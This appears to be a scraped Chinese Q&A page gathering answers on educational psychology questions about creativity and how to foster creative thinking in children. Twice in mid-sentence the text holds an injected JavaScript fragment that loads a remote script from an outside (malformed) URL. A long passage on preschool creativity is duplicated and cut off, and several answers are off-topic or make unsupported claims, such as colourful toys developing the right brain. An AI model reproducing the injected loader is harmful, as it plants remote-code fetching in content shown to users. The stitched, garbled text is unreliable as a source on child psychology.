Ⅰ 《教育心理学试题》简答题，创造性的概念及其常用的7评定方法有哪些
什么是创造性，有不同的理解。一般认为创造性是指个体产生新奇独特的、有社会价值的产品的能力或特性，故也称为创造力。新奇独特意味着能别出心裁地做出前人未曾做过的事，有社会价值意味着创造的结果或产品具有实用价值或学术价值、道德价值、审美价值等。
创造性是指个体产生新奇独特的、有社会价值的产品的能力或特性，故也称为创造力。新奇独特意味着能别出心裁地做出前人未曾做过的事，有社会价值意味着创造的结果或产品具有实用价值或学术价值、道德价值、审美价值等。创造性有两种表现形式:一是发明，二是发现。创造性以创造性思维为核心，创造性思维又以发散思维为核心。根据影响创造性的因素，可以从环境制度和个性培养两个方面来提升学生的创造性。
一切为进行创新活动而进行的思维活动都可以说是创新性思维。思维形式就如同我们在表达时是用笔语进行表达还是用口语的方式进行表达。而思维方法则就如我们在表达时是从什么方向、方面去进行表达是一样的道理。
评定方法：1、具有开创意义的思维方法,开拓人类认识新领域、开创人类认识新成果,如发明新技术、形成新观念、创造新理论等这样一些探索未知领域的认识过程的思维方法。从更广泛的含义上理解,则指不仅作出了完整的新发现和新发明,而且尽管未取得最后发现和发明、但在思考方法的技巧上、在某些局部的结论和见解上具有新奇独到之处的思维方法。
Ⅱ 小学儿童教育心理学如何培养小学儿童的创造性
是难啊。
Ⅲ 教育心理学如何培养学生的创造性思维
对学生进行创造教育的目的不是以要求学生必须有发明创造为目的,而主要是培养学生具有创造意识和初步创造能力。
而只有具有创造意识和创造能力的教师才能培养出创造型人才,那么教师应怎么做呢?一、树立创造教育思想教师的教育行为受教育思想观念的影响,而教师的教育活动及其效能、质量又会影响到人才培养的质量和规格。因此教师首先应有正确的教育观、学生观。创造教育是根据创造学原理,通过一定的教育途径,进行创造性思维训练,开发受教育者的创造力的教育。创造教育把开发每一个学生的创造力作为教育的目的,认为教学的核心应是理解知识信息和解决问题的思维过程。教师应引导学生独立思考,大胆质疑,勤于动手。只有充分理解这些思想要求,才会真正有利于培养出创造型人才。教师要不断学习充实自己,有活跃丰富的思维,灵活创新的观念和教育方法,掌握有创造意识和创造能力的基本知识及训练方法,积累有关创造研究的新成果并及时应用到教育过程中。如运用现代教学手段或自制巧妙的教具进行教学活动,或向学生介绍发明创造成果及其过程等,对培养学生创造意识都有很大的启发。
Ⅳ 学前教育心理学 幼儿创造性的表现体现在哪个几个方面
幼儿时期，特别是三岁左右的时候，是智力开发的很好的时候。这个时候可以让他接触五颜六色的玩具可以开发他的右脑的思维，同时多跟他交流，引导，可以大大提高他左脑的逻辑思维能力。这样等他慢慢长大，你会发现他的处理事情的能力，以及考虑问题的角度都会比较发散！谢谢
Ⅳ 幼儿教育心理学怎样培养幼儿的创造性思维
首先，老师自己要有丰富的想象，要会想象，保持一颗童心，引导孩子积极思考、想象，开启创新的门扉。 其次，要为孩子营造一个轻松的、自由的语言交流环境。孩子都喜欢与同伴交往，大家聚在一起的时候，往往无拘无束，争先恐后地发言。教师要以关怀、接纳、尊重、平等的态度与孩子交往，让孩子感觉和你没有距离，才能更好地激发孩子交谈的兴趣。 另外，在语言活动中，提问要有科学性，要能启发幼儿的发散思维，要善于提出不同层次的开放性问题，因为幼儿能否成为活动的主人，积极参与活动，发展思维能力，关键在于教师的启发和引导。
Ⅵ 教育心理学里 什么是创造性思维青少年创造性思维发展有哪些特点怎样培养青少年创造性思维
创造性思维啊不是一句话两句话所能表达的，也是全人类共同开发的，开发为培养本国人才库智囊团队的创造能力。（民族昌盛，民族发展在于发观与创造）
但是近年来能用教育心理学来理解和把握教育是成功的第一步。我们培养青少年是活生生的人格生龙活虎的人格尊重上。
故而教育是精神分析，为基础，实验心理学为手段，建立以人本主义和行为主义相结合，开发以青少年创造性思维，智力与能力为目标。才是师教育人的人本精神。
这只是作为一个哲学爱好者的理解。
Ⅶ 学前教育心理学创造性人格测量的内容有哪些
学前心理学是针对儿童开发的心理学,而学前教育心理学是针对学前教育的教师教育方法而论
Ⅷ 教育心理学怎样培养学生的创造性思维
启发式教学、探究性学习。教师只设定目标，和必须的知识，作为指导者，而主体是学生自己，通过学生自我学习和讨论，使学生掌握教学内容并提高创造性。详细你建议你看一看《教育心理学》北师大版的，里面讲的很详细。不过目前启发式教学的实用性不强，也就是摆摆样子了，毕竟是高考导向，高考大于一切。
Ⅸ 怎样培养幼儿的创造性想象 儿童心理学
一、了解思维发展的过程。 要想培养幼儿的创造性思维的发展，首先应该了解什么是思维？思维是思索与判断的过程。在心理学上，一般把思维定义为：思维是人脑对客观事物间接和概括的认识过程，并且通过这种认识，可以把握事物的一般属性和本质属性，它是一种复杂的、系统的心理现象。随着年龄的增长，幼儿思维也随之发展：0～3岁幼儿动作思维为主在这个阶段，思维是依*感知和动作来完成的。孩子只有在听、看、玩的过程中，才能进行思维； 4岁幼儿从动作思维向形象思维过渡。他可以依*头脑中的表象和具体事物的联想展开，但是形象思维也占了很大比例。5～6岁幼儿形象思维占主导地位，但已经初步出现抽象逻辑思维。对事物的理解也发生各种变化，可以听懂大人的描述并可用语言对事物进行评 价。 二、 掌握幼儿创造性思维的特点。 幼儿由于生理心理的特殊性，创造思维也具有自身的特点。 （1）由于幼儿身心发展的限制，幼儿的创造能力和意志力都较弱，因此幼儿的创造活动不易持久，他们的创造愿望来得快，也去的快，常常是瞬间即逝，如果有成人及时的引导和鼓励，幼儿的创造能力就会向前发展。 （2）幼儿喜欢幻想，富于想象，他们的创造性思维常常是由创造性想象引起的，但他们的心理具有较大的随意性，受兴趣的影响较大，兴趣可以振奋幼儿的智力，激发创造的积极性，因此，教师要善于保持幼儿的兴趣和调动幼儿的兴趣。 （3）幼儿由于环境、教育、遗传等不同的作用和影响，他们的创造性思维水平是有很大差异的，比如有的幼儿擅长创编故事，有的幼儿擅长美工创作，如果这些幼儿的创造才能能够得到尽早的发现和培养，对幼儿的发展是很有益的，在一般的情况下，只要有环境和教育起积极的作用，幼儿的创造性思维都会有较大的发展，但不能根据幼儿的一时表现，就断言其创造能力的高下。 三、启发家长，重视家庭环境对幼儿创造性思维的影响 。 心理学研究表明，当幼儿产生了心理安全感和获得了心理自由时，最有利于他们的创造性的发展和表现。幼儿在家庭里一般不受拘束，他们在亲情的影响下，敢于摆弄家中的一切东西，甚至对父母的专用物品，他们也敢于探究，即使因此受到过父母的责罚，但过了一段时间后他们仍然会对未曾了解清楚的物品再产生探究的兴趣。另外父母的专业爱好、解决问题的方法、对幼儿的学习指导方法等因素对幼儿的思维能力都有重大影响。所以，我们应该经常向家长宣传幼儿教育的理论，介绍幼儿教育发展方面的知识和方法，让他们能够重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 视幼儿在家庭中的各种求异思维的表现，使幼儿所萌发出来的创造性思维能有充分的发展空间。鲁迅先生曾经讲过“文学家的孩子熟悉笔墨；木匠的孩子熟悉斧锯；军事家的孩子会摆弄刀枪。”这说明家长的职业及专业爱好对幼儿的兴趣有直接的影响，但这种影响还只是模仿式的教育。我们所强调的家庭教育因素，实际上是要求家长要重视幼儿在思维方面的发展因素。 四、抓住幼儿的兴趣，激发求知的欲望和创造的欲望。 托尔斯泰说过：“成功的教学所需要的不是强制，而是激发学生的兴趣。”幼儿在进行活动时，兴趣起了举足轻重的作用。当幼儿兴趣浓厚时，他会专心的研究，探索。从中发现问题并解决。兴趣又可称为“好奇心”， 好奇既是天性也是一种十分可贵的心理素质。因为好奇，孩子就会有探索周围事物的兴趣，并在探索活动中丰富和积累知识经验，发展创造性思维能力。儿童心理学家指出：凡是因好奇心而受到奖励的孩子，都愿意继续进行某种试验和探索，这既有助于培养孩子的创造性思维能力，又能增强孩子的自信心。因此，在日常生活中，要呵护孩子的好奇心。 此外，创造性思维更偏重于发散性思维，是一种从多角度、多方位探索问题寻找答案的非常规、反常规的思考方式，往往有想像和幻想成分的参与。 创造离不开想象，孩子的想象力可以开启幻想世界。只有在这种自由幻想世界里，创造思维才会萌发。因此，我们要鼓励孩子异想天开、标新立异，积极引导孩子大胆幻想，在条件可能的情况下，还应设法促使孩子动手参与活动，让他们在活动中去寻求答案。但要提醒幼儿不可脱离事实。 五、丰富幼儿的生活经验，在学习活动中发展幼儿的创造性 。 幼儿园的教育活动非常多，各种教育活动的内容不同，可以使幼儿不断产 一、了解思维发展的过程。 要想培养幼儿的创造性思维的发展，首先应该了解什么是思维？思维是思索与判断的过程。在心理学上，一般把思维定义为：思维是人脑对客观事物间接和概括的认识过程，并且通过这种认识，可以把握事物的一般属性和本质属性，它是一种复杂的、系统的心理现象。随着年龄的增长，幼儿思维也随之发展：0～3岁幼儿动作思维为主在这个阶段，思维是依*感知和动作来完成的。孩子只有在听、看、玩的过程中，才能进行思维； 4岁幼儿从动作思维向形象思维过渡。他可以依*头脑中的表象和具体事物的联想展开，但是形象思维也占了很大比例。5～6岁幼儿形象思维占主导地位，但已经初步出现抽象逻辑思维。对事物的理解也发生各种变化，可以听懂大人的描述并可用语言对事物进行评 价。 二、 掌握幼儿创造性思维的特点。 幼儿由于生理心理的特殊性，创造思维也具有自身的特点。 （1）由于幼儿身心发展的限制，幼儿的创造能力和意志力都较弱，因此幼儿的创造活动不易持久，他们的创造愿望来得快，也去的快，常常是瞬间即逝，如果有成人及时的引导和鼓励，幼儿的创造能力就会向前发展。 （2）幼儿喜欢幻想，富于想象，他们的创造性思维常常是由创造性想象引起的，但他们的心理具有较大的随意性，受兴趣的影响较大，兴趣可以振奋幼儿的智力，激发创造的积极性，因此，教师要善于保持幼儿的兴趣和调动幼儿的兴趣。 （3）幼儿由于环境、教育、遗传等不同的作用和影响，他们的创造性思维水平是有很大差异的，比如有的幼儿擅长创编故事，有的幼儿擅长美工创作，如果这些幼儿的创造才能能够得到尽早的发现和培养，对幼儿的发展是很有益的，在一般的情况下，只要有环境和教育起积极的作用，幼儿的创造性思维都会有较大的发展，但不能根据幼儿的一时表现，就断言其创造能力的高下。 三、启发家长，重视家庭环境对幼儿创造性思维的影响 。 心理学研究表明，当幼儿产生了心理安全感和获得了心理自由时，最有利于他们的创造性的发展和表现。幼儿在家庭里一般不受拘束，他们在亲情的影响下，敢于摆弄家中的一切东西，甚至对父母的专用物品，他们也敢于探究，即使因此受到过父母的责罚，但过了一段时间后他们仍然会对未曾了解清楚的物品再产生探究的兴趣。另外父母的专业爱好、解决问题的方法、对幼儿的学习指导方法等因素对幼儿的思维能力都有重大影响。所以，我们应该经常向家长宣传幼儿教育的理论，介绍幼儿教育发展方面的知识和方法，让他们能够重 var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChil